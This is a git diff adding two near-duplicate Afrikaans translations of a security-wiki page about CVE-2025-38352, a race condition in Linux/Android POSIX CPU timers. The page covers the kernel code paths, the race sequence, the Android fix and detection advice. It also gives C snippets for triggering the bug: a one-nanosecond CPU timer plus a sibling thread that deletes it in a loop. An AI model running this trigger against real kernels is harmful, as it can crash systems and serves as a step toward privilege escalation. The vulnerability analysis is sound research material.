Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

2025-10-10 18:36:50 +00:00 · 2025-09-30 00:43:22 +00:00 · 2025-09-30 00:43:22 +00:00 · 6921a8ac3c
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--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
--- a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
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+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer 'n TOCTOU race condition in Linux/Android POSIX CPU timers wat timer-status kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word.
+
+- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
+- Primitiief: expiry vs deletion race onder task exit
+- Konfigurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kort interne oorsig (relevant vir exploitation)
+- Drie CPU-klokke dryf die boekhouding vir timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Timer-creation verbind 'n timer aan 'n task/pid en initialiseer die timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Aktivering plaas inskrywings in 'n per-base timerqueue en kan die next-expiry cache bywerk:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Vinnige pad vermy duur verwerking tensy gekashe vervaltye moontlike afvuur aandui:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Verstryking versamel verstrykte timers, merk hulle as afgevuur, skuif hulle van die tou af; werklike aflewering word uitgestel:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Twee modusse vir die hantering van verval
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: die verval word uitgestel via task_work op die teiken-taak
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: die verval word direk in die IRQ-konteks hanteer
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+In die IRQ-context path word die firing list buite die sighand verwerk.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- Die teiken taak is aan die uitstap maar nog nie volledig opgeraap nie
+- Nog 'n thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer
+
+Sequence
+1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die uitgaande taak.
+2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
+3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock te lewer.
+4) Onmiddellik na die unlock kan die uitgaande taak opgeraap word; 'n suster-thread voer posix_cpu_timer_del() uit.
+5) In hierdie venster kan posix_cpu_timer_del() dalk misluk om state via cpu_timer_task_rcu()/lock_task_sighand() te verkry en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrup maak terwyl verstryking hanteer word, wat tot crashes/UB lei.
+
+Why TASK_WORK mode is safe by design
+- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-time oorvleueling met opraaiproses gebeur nie.
+- Selfs dan, as die taak reeds aan die uitstap is, faal task_work_add(); gating op exit_state maak beide modi konsekwent.
+
+Fix (Android common kernel) and rationale
+- Voeg 'n vroeë return by indien die current task aan die uitstap is, en gate alle verwerking:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Dit verhoed dat handle_posix_cpu_timers() vir take wat op die punt staan om te verlaat betree word, en elimineer die venster waarin posix_cpu_timer_del() it.cpu.firing kon mis en met expiry-verwerking kon meeding.
+
+Impak
+- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Verseker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix.
+
+Runtime strategy
+- Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU timer daaraan vas (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Stel dit in met 'n baie kort aanvanklike expiration en 'n klein interval om IRQ-path entries te maksimeer:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Van 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Wedloop-versterkers: hoë scheduler-tiktempo, hoë CPU-lading, herhaalde thread-afsluiting/hernuwingsiklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() die afvuur nie opmerk nie weens 'n mislukte taak-opsoek/locking direk ná unlock_task_sighand().
+
+Detection and hardening
+- Mitigasie: pas die exit_state-bewaker toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK in te skakel waar moontlik.
+- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); let op timerqueue-inkonsekwenthede rondom taak-afsluiting.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap
+
+Notes for exploitation research
+- Die geopenbaarde gedrag is 'n betroubare kernel crash-primitive; om dit in privilege escalation te omskep benodig tipies 'n bykomende beheerbare oorvleueling (object lifetime of write-what-where invloed) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabilisend en voer dit slegs in emulators/VMs uit.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Hierdie bladsy dokumenteer 'n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gerig kan word.
+
+- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
+- Primitiwiteit: verval vs verwydering wedloop tydens taak-afsluiting
+- Konfigurasie-afhanklik: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Kort interne samevatting (relevant for exploitation)
+- Drie CPU-klokke dryf rekeninghouing vir timers via cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- Timer-skepping koppel 'n timer aan 'n taak/pid en initialiseer die timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Armering voeg items in 'n per-base timerqueue in en kan die next-expiry cache bywerk:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Vinnige pad vermy duur verwerking tensy gekasde vervaltye moontlike afgaan aandui:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Verval versamel vervalde timers, merk hulle as afgegaan, skuif hulle van die wagry af; werklike aflewering word uitgestel:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Twee wyses van vervalverwerking
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word via task_work op die teikentaak uitgestel
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+In die IRQ-context path, word die firing list buite sighand verwerk.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Hoof oorsaak: TOCTOU tussen IRQ-time verstryking en gesamentlike verwydering tydens taak-uitgang
+Voorwaardes
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- Die teiken-taak is besig om te verlaat maar nog nie volledig gereap nie
+- 'n Ander thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer
+
+Volgorde
+1) update_process_times() spoor run_posix_cpu_timers() aan in IRQ-konteks vir die taak wat beëindig word.
+2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
+3) handle_posix_cpu_timers() laat sighand val via unlock_task_sighand() om timers buite die slot af te lewer.
+4) Onmiddellik na unlock kan die uitgaande taak gereap word; 'n ander thread voer posix_cpu_timer_del() uit.
+5) In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, korrupteer state terwyl verstryking hanteer word, wat tot crashes/UB lei.
+
+Hoekom TASK_WORK-modus per ontwerp veilig is
+- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-tyd oorvleueling met reaping gebeur nie.
+- Selfs dan, as die taak reeds aan die uitgang is, faal task_work_add(); deur op exit_state te kontroleer maak dit beide modi konsekwent.
+
+Regstelling (Android common kernel) en motivering
+- Voeg 'n vroeë return by indien current taak aan die verlaat is, en beperk sodoende alle verwerking:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Dit voorkom dat handle_posix_cpu_timers() vir take wat uitgaan binnegegaan word, en verwyder die venster waar posix_cpu_timer_del() dit kon mis: it.cpu.firing en in 'n wedloop met verstrykingverwerking.
+
+Impact
+- Kerngeheue-beskadiging van timer-strukture tydens gesamentlike verstryking/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is 'n sterk primitief vir privilege escalation weens die moontlikhede vir arbitraire manipulering van kernel-state.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Maak seker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix.
+
+Runtime strategy
+- Rig op 'n thread wat op die punt is om te verlaat en heg 'n CPU timer daaraan aan (per-thread or process-wide clock):
+- Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Armeer met 'n baie kort aanvanklike verstryking en 'n klein interval om IRQ-path entries te maksimeer:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- Vanaf 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Wedloopversterkers: hoë scheduler-tiktempo, CPU-lading, herhaalde thread exit/re-create siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om firing te opmerk weens mislukte taak-opsoek/-locking direk ná unlock_task_sighand().
+
+Opsporing en verharding
+- Mitigasie: pas die exit_state-beskerming toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK te aktiveer waar dit uitvoerbaar is.
+- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 saam met mislukte cpu_timer_task_rcu()/lock_task_sighand() waargeneem word; kyk vir timerqueue-ongeregeldhede rondom taak-uitgang.
+
+Audit-hotspots (vir hersieners)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Aantekeninge vir exploitation-navorsing
+- Die openbaargemaakte gedrag is ’n betroubare kernel crash primitive; om dit in privilege escalation te omskep benodig gewoonlik ’n addisionele beheerbare oorvleueling (object lifetime of write-what-where influence) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabiliserend en voer slegs in emulators/VMs uit.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}